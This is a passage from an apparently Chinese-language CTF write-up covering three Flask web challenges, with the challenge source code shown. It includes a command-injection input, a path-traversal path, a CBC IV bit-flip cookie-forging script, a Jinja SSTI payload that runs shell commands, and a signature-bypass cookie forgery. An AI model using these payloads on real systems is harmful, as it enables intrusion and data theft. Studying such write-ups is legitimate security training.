 session[&amp;#39;username&amp;#39;] = username
 return redirect(url_for(&amp;#39;index&amp;#39;))
 else:
 return &amp;#39;&amp;#39;&amp;#39;
 &amp;lt;h1&amp;gt;Login&amp;lt;/h1&amp;gt;
 &amp;lt;h2&amp;gt;No need to register.&amp;lt;/h2&amp;gt;
 &amp;lt;form action=&amp;#34;/login&amp;#34; method=&amp;#34;post&amp;#34;&amp;gt;
 &amp;lt;label for=&amp;#34;username&amp;#34;&amp;gt;Username:&amp;lt;/label&amp;gt;
 &amp;lt;input type=&amp;#34;text&amp;#34; id=&amp;#34;username&amp;#34; name=&amp;#34;username&amp;#34; required&amp;gt;
 &amp;lt;br&amp;gt;
 &amp;lt;label for=&amp;#34;password&amp;#34;&amp;gt;Password:&amp;lt;/label&amp;gt;
 &amp;lt;input type=&amp;#34;password&amp;#34; id=&amp;#34;password&amp;#34; name=&amp;#34;password&amp;#34; required&amp;gt;
 &amp;lt;br&amp;gt;
 &amp;lt;input type=&amp;#34;submit&amp;#34; value=&amp;#34;Login&amp;#34;&amp;gt;
 &amp;lt;/form&amp;gt;
 &amp;#39;&amp;#39;&amp;#39;

@app.route(&amp;#39;/upload&amp;#39;, methods=[&amp;#39;POST&amp;#39;, &amp;#39;GET&amp;#39;])
def upload():
 if not session.get(&amp;#39;username&amp;#39;):
 return redirect(url_for(&amp;#39;login&amp;#39;))
 
 if request.method == &amp;#39;POST&amp;#39;:
 f = request.files[&amp;#39;file&amp;#39;]
 file_path = str(uuid.uuid4()) &amp;#43; &amp;#39;_&amp;#39; &amp;#43; f.filename
 f.save(&amp;#39;./uploads/&amp;#39; &amp;#43; file_path)
 return redirect(f&amp;#39;/upload?file_path={file_path}&amp;#39;)
 
 else:
 if not request.args.get(&amp;#39;file_path&amp;#39;):
 return &amp;#39;&amp;#39;&amp;#39;
 &amp;lt;h1&amp;gt;Upload Image&amp;lt;/h1&amp;gt;
 
 &amp;lt;form action=&amp;#34;/upload&amp;#34; method=&amp;#34;post&amp;#34; enctype=&amp;#34;multipart/form-data&amp;#34;&amp;gt;
 &amp;lt;input type=&amp;#34;file&amp;#34; name=&amp;#34;file&amp;#34;&amp;gt;
 &amp;lt;input type=&amp;#34;submit&amp;#34; value=&amp;#34;Upload&amp;#34;&amp;gt;
 &amp;lt;/form&amp;gt;
 &amp;#39;&amp;#39;&amp;#39;
 
 else:
 file_path = &amp;#39;./uploads/&amp;#39; &amp;#43; request.args.get(&amp;#39;file_path&amp;#39;)
 if session.get(&amp;#39;username&amp;#39;) != &amp;#39;admin&amp;#39;:
 with open(file_path, &amp;#39;rb&amp;#39;) as f:
 content = f.read()
 b64 = base64.b64encode(content)
 return f&amp;#39;&amp;lt;img src=&amp;#34;data:image/png;base64,{b64.decode()}&amp;#34; alt=&amp;#34;Uploaded Image&amp;#34;&amp;gt;&amp;#39;
 else:
 os.system(f&amp;#39;base64 {file_path} &amp;gt; /tmp/{file_path}.b64&amp;#39;)
 # with open(f&amp;#39;/tmp/{file_path}.b64&amp;#39;, &amp;#39;r&amp;#39;) as f:
 # return f&amp;#39;&amp;lt;img src=&amp;#34;data:image/png;base64,{f.read()}&amp;#34; alt=&amp;#34;Uploaded Image&amp;#34;&amp;gt;&amp;#39;
 return &amp;#39;Sorry, but you are not allowed to view this image.&amp;#39;
 
if __name__ == &amp;#39;__main__&amp;#39;:
 app.run(host=&amp;#39;0.0.0.0&amp;#39;, port=5000)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以看到&lt;code&gt;upload&lt;/code&gt;路由这里如果是admin的话会执行&lt;code&gt;os.system(f'base64 {file_path} &amp;gt; /tmp/{file_path}.b64')&lt;/code&gt;，存在命令注入,admin的密码解出是backdoor&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202504272310712.png' alt="image-20250427131641901"&gt;&lt;/p&gt;
&lt;p&gt;那么就可以通过命令注入获取flag名称/Fl4g_is_H3r3，再通过任意文件读取去读flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file_path=; ls / &amp;gt; /tmp/aaa #
file_path=../../../../Fl4g_is_H3r3&lt;/code&gt;&lt;/pre&gt;&lt;h1 class="heading-element" id="not-so-web-1"&gt;&lt;span&gt;not so web 1&lt;/span&gt;
 &lt;a href="#not-so-web-1" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;pre&gt;&lt;code&gt;import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
 Flask,
 render_template,
 render_template_string,
 request,
 redirect,
 url_for,
 flash,
 session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
 name: str
 password_raw: str
 register_time: int


# In-memory store for user registration
users: Dict[str, APPUser] = {
 &amp;#34;admin&amp;#34;: APPUser(name=&amp;#34;admin&amp;#34;, password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -&amp;gt; bool:
 if not cookie:
 return False

 try:
 cookie_encrypted = base64.b64decode(cookie, validate=True)
 except binascii.Error:
 return False

 if len(cookie_encrypted) &amp;lt; 32:
 return False

 try:
 iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
 cipher = AES.new(KEY, AES.MODE_CBC, iv)
 cookie_json = cipher.decrypt(padded)
 except ValueError:
 return False

 try:
 _ = json.loads(cookie_json)
 except Exception:
 return False

 return True


def parse_cookie(cookie: str) -&amp;gt; Tuple[bool, str]:
 if not cookie:
 return False, &amp;#34;&amp;#34;

 try:
 cookie_encrypted = base64.b64decode(cookie, validate=True)
 except binascii.Error:
 return False, &amp;#34;&amp;#34;

 if len(cookie_encrypted) &amp;lt; 32:
 return False, &amp;#34;&amp;#34;

 try:
 iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
 cipher = AES.new(KEY, AES.MODE_CBC, iv)
 decrypted = cipher.decrypt(padded)
 cookie_json_bytes = unpad(decrypted, 16)
 cookie_json = cookie_json_bytes.decode()
 except ValueError:
 return False, &amp;#34;&amp;#34;

 try:
 cookie_dict = json.loads(cookie_json)
 except Exception:
 return False, &amp;#34;&amp;#34;

 return True, cookie_dict.get(&amp;#34;name&amp;#34;)


def generate_cookie(user: APPUser) -&amp;gt; str:
 cookie_dict = asdict(user)
 cookie_json = json.dumps(cookie_dict)
 cookie_json_bytes = cookie_json.encode()
 iv = os.urandom(16)
 padded = pad(cookie_json_bytes, 16)
 cipher = AES.new(KEY, AES.MODE_CBC, iv)
 encrypted = cipher.encrypt(padded)
 return base64.b64encode(iv &amp;#43; encrypted).decode()


@app.route(&amp;#34;/&amp;#34;)
def index():
 if validate_cookie(request.cookies.get(&amp;#34;jwbcookie&amp;#34;)):
 return redirect(url_for(&amp;#34;home&amp;#34;))
 return redirect(url_for(&amp;#34;login&amp;#34;))


@app.route(&amp;#34;/register&amp;#34;, methods=[&amp;#34;GET&amp;#34;, &amp;#34;POST&amp;#34;])
def register():
 if request.method == &amp;#34;POST&amp;#34;:
 user_name = request.form[&amp;#34;username&amp;#34;]
 password = request.form[&amp;#34;password&amp;#34;]
 if user_name in users:
 flash(&amp;#34;Username already exists!&amp;#34;, &amp;#34;danger&amp;#34;)
 else:
 users[user_name] = APPUser(
 name=user_name, password_raw=password, register_time=int(time.time())
 )
 flash(&amp;#34;Registration successful! Please login.&amp;#34;, &amp;#34;success&amp;#34;)
 return redirect(url_for(&amp;#34;login&amp;#34;))
 return render_template(&amp;#34;register.html&amp;#34;)


@app.route(&amp;#34;/login&amp;#34;, methods=[&amp;#34;GET&amp;#34;, &amp;#34;POST&amp;#34;])
def login():
 if request.method == &amp;#34;POST&amp;#34;:
 username = request.form[&amp;#34;username&amp;#34;]
 password = request.form[&amp;#34;password&amp;#34;]
 if username in users and users[username].password_raw == password:
 resp = redirect(url_for(&amp;#34;home&amp;#34;))
 resp.set_cookie(&amp;#34;jwbcookie&amp;#34;, generate_cookie(users[username]))
 return resp
 else:
 flash(&amp;#34;Invalid credentials. Please try again.&amp;#34;, &amp;#34;danger&amp;#34;)
 return render_template(&amp;#34;login.html&amp;#34;)


@app.route(&amp;#34;/home&amp;#34;)
def home():
 valid, current_username = parse_cookie(request.cookies.get(&amp;#34;jwbcookie&amp;#34;))
 if not valid or not current_username:
 return redirect(url_for(&amp;#34;logout&amp;#34;))

 user_profile = users.get(current_username)
 if not user_profile:
 return redirect(url_for(&amp;#34;logout&amp;#34;))

 if current_username == &amp;#34;admin&amp;#34;:
 payload = request.args.get(&amp;#34;payload&amp;#34;)
 html_template = &amp;#34;&amp;#34;&amp;#34;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;#34;en&amp;#34;&amp;gt;
&amp;lt;head&amp;gt;
 &amp;lt;meta charset=&amp;#34;UTF-8&amp;#34;&amp;gt;
 &amp;lt;meta name=&amp;#34;viewport&amp;#34; content=&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&amp;gt;
 &amp;lt;title&amp;gt;Home&amp;lt;/title&amp;gt;
 &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&amp;#34;&amp;gt;
 &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;{{ url_for(&amp;#39;static&amp;#39;, filename=&amp;#39;styles.css&amp;#39;) }}&amp;#34;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
 &amp;lt;div class=&amp;#34;container&amp;#34;&amp;gt;
 &amp;lt;h2 class=&amp;#34;text-center&amp;#34;&amp;gt;Welcome, %s !&amp;lt;/h2&amp;gt;
 &amp;lt;div class=&amp;#34;text-center&amp;#34;&amp;gt;
 Your payload: %s
 &amp;lt;/div&amp;gt;
 &amp;lt;img src=&amp;#34;{{ url_for(&amp;#39;static&amp;#39;, filename=&amp;#39;interesting.jpeg&amp;#39;) }}&amp;#34; alt=&amp;#34;Embedded Image&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;text-center&amp;#34;&amp;gt;
 &amp;lt;a href=&amp;#34;/logout&amp;#34; class=&amp;#34;btn btn-danger&amp;#34;&amp;gt;Logout&amp;lt;/a&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&amp;#34;&amp;#34;&amp;#34; % (
 current_username,
 payload,
 )
 else:
 html_template = (
 &amp;#34;&amp;#34;&amp;#34;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;#34;en&amp;#34;&amp;gt;
&amp;lt;head&amp;gt;
 &amp;lt;meta charset=&amp;#34;UTF-8&amp;#34;&amp;gt;
 &amp;lt;meta name=&amp;#34;viewport&amp;#34; content=&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&amp;gt;
 &amp;lt;title&amp;gt;Home&amp;lt;/title&amp;gt;
 &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&amp;#34;&amp;gt;
 &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;{{ url_for(&amp;#39;static&amp;#39;, filename=&amp;#39;styles.css&amp;#39;) }}&amp;#34;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
 &amp;lt;div class=&amp;#34;container&amp;#34;&amp;gt;
 &amp;lt;h2 class=&amp;#34;text-center&amp;#34;&amp;gt;server code (encoded)&amp;lt;/h2&amp;gt;
 &amp;lt;div class=&amp;#34;text-center&amp;#34; style=&amp;#34;word-break:break-all;&amp;#34;&amp;gt;
 {%% raw %%}
 %s
 {%% endraw %%}
 &amp;lt;/div&amp;gt;
 &amp;lt;div class=&amp;#34;text-center&amp;#34;&amp;gt;
 &amp;lt;a href=&amp;#34;/logout&amp;#34; class=&amp;#34;btn btn-danger&amp;#34;&amp;gt;Logout&amp;lt;/a&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&amp;#34;&amp;#34;&amp;#34;
 % base64.b64encode(open(__file__, &amp;#34;rb&amp;#34;).read()).decode()
 )
 return render_template_string(html_template)


@app.route(&amp;#34;/logout&amp;#34;)
def logout():
 resp = redirect(url_for(&amp;#34;login&amp;#34;))
 resp.delete_cookie(&amp;#34;jwbcookie&amp;#34;)
 return resp


if __name__ == &amp;#34;__main__&amp;#34;:
 app.run()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;CBC字节翻转攻击伪造admin打SSTI就行&lt;/p&gt;
&lt;p&gt;首先我们注册的用户对象json格式为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&amp;#34;name&amp;#34;: &amp;#34;admix&amp;#34;, &amp;#34;password_raw&amp;#34;: &amp;#34;password123&amp;#34;, &amp;#34;register_time&amp;#34;: 1714100000}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;返回给我们的cookie格式为base64(IV + AES(User)) ，可知道我们需要反转的m在User Json格式的第一个AES分组的第15位，根据CBC的特性可知，第一组明文在加密前需要与IV进行异或，那么我们直接翻转IV即可，同时不用考虑翻转后的扩散影响&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

ciphertext = &amp;#39;pcs0XLPoE/wf64KE3YYV6lqC8s7SM/sFaFTE&amp;#43;Ap373D2nEWbaLEYgGGzhFKfXeeuxO/uZKY5cRm75DWqY3O7bFysO8ke5XZtzt7J1l0BlDwCJvxzh&amp;#43;TP3s7rx9jVYmqw&amp;#39;

cipher = base64.b64decode(ciphertext)
iv = bytearray(cipher[:16])
cipher = cipher[16:]
iv[14] = iv[14] ^ ord(&amp;#39;x&amp;#39;) ^ ord(&amp;#39;n&amp;#39;)
new_cookie = base64.b64encode(bytes(iv) &amp;#43; cipher).decode()
print(&amp;#39;Cipher:&amp;#39;, new_cookie)

# pcs0XLPoE/wf64KE3YYD6lqC8s7SM/sFaFTE&amp;#43;Ap373D2nEWbaLEYgGGzhFKfXeeuxO/uZKY5cRm75DWqY3O7bFysO8ke5XZtzt7J1l0BlDwCJvxzh&amp;#43;TP3s7rx9jVYmqw&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;{{g.pop.__globals__.__builtins__[&amp;#39;__import__&amp;#39;](&amp;#39;os&amp;#39;).popen(&amp;#39;cat flag.txt&amp;#39;).read()}}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202504272313878.png' alt="img"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="not-so-web-2"&gt;&lt;span&gt;not so web 2&lt;/span&gt;
 &lt;a href="#not-so-web-2" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;pre&gt;&lt;code&gt;import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (
 Flask,
 render_template,
 render_template_string,
 request,
 redirect,
 url_for,
 flash,
 session,
 abort,
)

app = Flask(__name__)
app.secret_key = KEY

if os.path.exists(&amp;#34;/etc/ssl/nginx/local.key&amp;#34;):
 private_key = RSA.importKey(open(&amp;#34;/etc/ssl/nginx/local.key&amp;#34;, &amp;#34;r&amp;#34;).read())
else:
 private_key = RSA.generate(2048)

public_key = private_key.publickey()


@dataclass
class APPUser:
 name: str
 password_raw: str
 register_time: int


# In-memory store for user registration
users: Dict[str, APPUser] = {
 &amp;#34;admin&amp;#34;: APPUser(name=&amp;#34;admin&amp;#34;, password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie_b64: str) -&amp;gt; bool:
 valid, _ = parse_cookie(cookie_b64)
 return valid


def parse_cookie(cookie_b64: str) -&amp;gt; Tuple[bool, str]:
 if not cookie_b64:
 return False, &amp;#34;&amp;#34;

 try:
 cookie = base64.b64decode(cookie_b64, validate=True).decode()
 except binascii.Error:
 return False, &amp;#34;&amp;#34;

 try:
 msg_str, sig_hex = cookie.split(&amp;#34;&amp;amp;&amp;#34;)
 except Exception:
 return False, &amp;#34;&amp;#34;

 msg_dict = json.loads(msg_str)
 msg_str_bytes = msg_str.encode()
 msg_hash = SHA256.new(msg_str_bytes)
 sig = bytes.fromhex(sig_hex)
 try:
 PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
 valid = True
 except (ValueError, TypeError):
 valid = False
 return valid, msg_dict.get(&amp;#34;user_name&amp;#34;)


def generate_cookie(user: APPUser) -&amp;gt; str:
 msg_dict = {&amp;#34;user_name&amp;#34;: user.name, &amp;#34;login_time&amp;#34;: int(time.time())}
 msg_str = json.dumps(msg_dict)
 msg_str_bytes = msg_str.encode()
 msg_hash = SHA256.new(msg_str_bytes)
 sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
 sig_hex = sig.hex()
 packed = msg_str &amp;#43; &amp;#34;&amp;amp;&amp;#34; &amp;#43; sig_hex
 return base64.b64encode(packed.encode()).decode()


@app.route(&amp;#34;/&amp;#34;)
def index():
 if validate_cookie(request.cookies.get(&amp;#34;jwbcookie&amp;#34;)):
 return redirect(url_for(&amp;#34;home&amp;#34;))
 return redirect(url_for(&amp;#34;login&amp;#34;))


@app.route(&amp;#34;/register&amp;#34;, methods=[&amp;#34;GET&amp;#34;, &amp;#34;POST&amp;#34;])
def register():
 if request.method == &amp;#34;POST&amp;#34;:
 user_name = request.form[&amp;#34;username&amp;#34;]
 password = request.form[&amp;#34;password&amp;#34;]
 if user_name in users:
 flash(&amp;#34;Username already exists!&amp;#34;, &amp;#34;danger&amp;#34;)
 else:
 users[user_name] = APPUser(
 name=user_name, password_raw=password, register_time=int(time.time())
 )
 flash(&amp;#34;Registration successful! Please login.&amp;#34;, &amp;#34;success&amp;#34;)
 return redirect(url_for(&amp;#34;login&amp;#34;))
 return render_template(&amp;#34;register.html&amp;#34;)


@app.route(&amp;#34;/login&amp;#34;, methods=[&amp;#34;GET&amp;#34;, &amp;#34;POST&amp;#34;])
def login():
 if request.method == &amp;#34;POST&amp;#34;:
 username = request.form[&amp;#34;username&amp;#34;]
 password = request.form[&amp;#34;password&amp;#34;]
 if username in users and users[username].password_raw == password:
 resp = redirect(url_for(&amp;#34;home&amp;#34;))
 resp.set_cookie(&amp;#34;jwbcookie&amp;#34;, generate_cookie(users[username]))
 return resp
 else:
 flash(&amp;#34;Invalid credentials. Please try again.&amp;#34;, &amp;#34;danger&amp;#34;)
 return render_template(&amp;#34;login.html&amp;#34;)


@app.route(&amp;#34;/home&amp;#34;)
def home():
 valid, current_username = parse_cookie(request.cookies.get(&amp;#34;jwbcookie&amp;#34;))
 if not valid or not current_username:
 return redirect(url_for(&amp;#34;logout&amp;#34;))

 user_profile = users.get(current_username)
 if not user_profile:
 return redirect(url_for(&amp;#34;logout&amp;#34;))

 if current_username == &amp;#34;admin&amp;#34;:
 payload = request.args.get(&amp;#34;payload&amp;#34;)
 if payload:
 for char in payload:
 if char in &amp;#34;&amp;#39;_#&amp;amp;;&amp;#34;:
 abort(403)
 return

 html_template = &amp;#34;&amp;#34;&amp;#34;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;#34;en&amp;#34;&amp;gt;
&amp;lt;head&amp;gt;
 &amp;lt;meta charset=&amp;#34;UTF-8&amp;#34;&amp;gt;
 &amp;lt;meta name=&amp;#34;viewport&amp;#34; content=&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&amp;gt;
 &amp;lt;title&amp;gt;Home&amp;lt;/title&amp;gt;
 &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&amp;#34;&amp;gt;
 &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;{{ url_for(&amp;#39;static&amp;#39;, filename=&amp;#39;styles.css&amp;#39;) }}&amp;#34;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
 &amp;lt;div class=&amp;#34;container&amp;#34;&amp;gt;
 &amp;lt;h2 class=&amp;#34;text-center&amp;#34;&amp;gt;Welcome, %s !&amp;lt;/h2&amp;gt;
 &amp;lt;div class=&amp;#34;text-center&amp;#34;&amp;gt;
 Your payload: %s
 &amp;lt;/div&amp;gt;
 &amp;lt;img src=&amp;#34;{{ url_for(&amp;#39;static&amp;#39;, filename=&amp;#39;interesting.jpeg&amp;#39;) }}&amp;#34; alt=&amp;#34;Embedded Image&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;text-center&amp;#34;&amp;gt;
 &amp;lt;a href=&amp;#34;/logout&amp;#34; class=&amp;#34;btn btn-danger&amp;#34;&amp;gt;Logout&amp;lt;/a&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&amp;#34;&amp;#34;&amp;#34; % (
 current_username,
 payload,
 )
 else:
 html_template = (
 &amp;#34;&amp;#34;&amp;#34;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;#34;en&amp;#34;&amp;gt;
&amp;lt;head&amp;gt;
 &amp;lt;meta charset=&amp;#34;UTF-8&amp;#34;&amp;gt;
 &amp;lt;meta name=&amp;#34;viewport&amp;#34; content=&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&amp;gt;
 &amp;lt;title&amp;gt;Home&amp;lt;/title&amp;gt;
 &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&amp;#34;&amp;gt;
 &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;{{ url_for(&amp;#39;static&amp;#39;, filename=&amp;#39;styles.css&amp;#39;) }}&amp;#34;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
 &amp;lt;div class=&amp;#34;container&amp;#34;&amp;gt;
 &amp;lt;h2 class=&amp;#34;text-center&amp;#34;&amp;gt;server code (encoded)&amp;lt;/h2&amp;gt;
 &amp;lt;div class=&amp;#34;text-center&amp;#34; style=&amp;#34;word-break:break-all;&amp;#34;&amp;gt;
 {%% raw %%}
 %s
 {%% endraw %%}
 &amp;lt;/div&amp;gt;
 &amp;lt;div class=&amp;#34;text-center&amp;#34;&amp;gt;
 &amp;lt;a href=&amp;#34;/logout&amp;#34; class=&amp;#34;btn btn-danger&amp;#34;&amp;gt;Logout&amp;lt;/a&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&amp;#34;&amp;#34;&amp;#34;
 % base64.b64encode(open(__file__, &amp;#34;rb&amp;#34;).read()).decode()
 )
 return render_template_string(html_template)


@app.route(&amp;#34;/logout&amp;#34;)
def logout():
 resp = redirect(url_for(&amp;#34;login&amp;#34;))
 resp.delete_cookie(&amp;#34;jwbcookie&amp;#34;)
 return resp


if __name__ == &amp;#34;__main__&amp;#34;:
 app.run()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;鉴权存在问题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if current_username == &amp;#34;admin&amp;#34;:
 payload = request.args.get(&amp;#34;payload&amp;#34;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;base64解码后的username是admin就行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;base_str = &amp;#34;eyJ1c2VyX25hbWUiOiAiYWRtaXgiLCAibG9naW5fdGltZSI6IDE3NDU2NTYxMjF9JjRlOGViNjZjNTNlN2E2YzQzYTY4MjNhZGQ0MjQwMzA0YjBlZjVhM2VmZTk5MzRjNWQ1ZTg1MGQ5NWRkN2M1M2Y4NTRmOGU0NjljYTQzYTM1Y2M3YTRhZGNhYWQwNDI0Nzc0NGY3Mjk3YjdjNjY3MjJhYTg2ODQ1YjQxYzUxYzliMjMzNjllNjFmYjE0ZWRhNjE4ODIxZDM3NzAyODA0ZmY2ZWI0M2U5ZjQzZmMwNTE0NzBjYWJkMTU4MTM0MmRmNzc1NGZjNDUzMDMyZWU2ZDgxOTRiNmM1NjNmNmRhNjBiN2RlMDExODc2ZTcxZWEyMGIyNjhkZDBlMWVlYTg0Yjk3MTcyNjI4NzA1ODk3NDYyNTI2Njk1NGQxZmY1OTc3MWM2Y2MwZjY5NzIzNDY2OWVkZWJlNDk2NmQ0OWVjN2E0NjgyZGE5NDI2MWI2ODYyZWU1ZDlmNjU4NDQ3NWMzY2U2YzdiMmZiNmE0YjM5Mzg4NzIyMDc1YjFlMmQ1MjA4MWFjYjBlY2JjYjk1YzlmOWI1MGU4ZmI0Zjk2NDA3MmIyM2E4NjBlMTRkNTE5OGYyNjJmYjVjOWZkZDZhNzYxYTQ2YWVlNTJlMDkzYTM0MGFiOTgzZGQ3MjU1N2I2YWEyYmYxMTM0N2NhN2Y3ZWQ0ZDQ3YTJiYjg1NDAzMmIzNzZi&amp;#34;
origin = base64.b64decode(base_str)
print(origin)

# b&amp;#39;{&amp;#34;user_name&amp;#34;: &amp;#34;admix&amp;#34;, &amp;#34;login_time&amp;#34;: 1745656121}&amp;amp;4e8eb66c53e7a6c43a6823add4240304b0ef5a3efe9934c5d5e850d95dd7c53f854f8e469ca43a35cc7a4adcaad04247744f7297b7c66722aa86845b41c51c9b23369e61fb14eda618821d37702804ff6eb43e9f43fc051470cabd1581342df7754fc453032ee6d8194b6c563f6da60b7de011876e71ea20b268dd0e1eea84b971726287058974625266954d1ff59771c6cc0f697234669edebe4966d49ec7a4682da94261b6862ee5d9f6584475c3ce6c7b2fb6a4b39388722075b1e2d52081acb0ecbcb95c9f9b50e8fb4f964072b23a860e14d5198f262fb5c9fdd6a761a46aee52e093a340ab983dd72557b6aa2bf11347ca7f7ed4d47a2bb854032b376b&amp;#39;
signature = &amp;#39;{&amp;#34;user_name&amp;#34;: &amp;#34;admin&amp;#34;, &amp;#34;login_time&amp;#34;: 1745656121}&amp;amp;4e8eb66c53e7a6c43a6823add4240304b0ef5a3efe9934c5d5e850d95dd7c53f854f8e469ca43a35cc7a4adcaad04247744f7297b7c66722aa86845b41c51c9b23369e61fb14eda618821d37702804ff6eb43e9f43fc051470cabd1581342df7754fc453032ee6d8194b6c563f6da60b7de011876e71ea20b268dd0e1eea84b971726287058974625266954d1ff59771c6cc0f697234669edebe4966d49ec7a4682da94261b6862ee5d9f6584475c3ce6c7b2fb6a4b39388722075b1e2d52081acb0ecbcb95c9f9b50e8fb4f964072b23a860e14d5198f262fb5c9fdd6a761a46aee52e093a340ab983dd72557b6aa2bf11347ca7f7ed4d47a2bb854032b376b&amp;#39;
print(base64.b64encode(signature.encode()))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;然后还是打SSTI&lt;/p&gt;
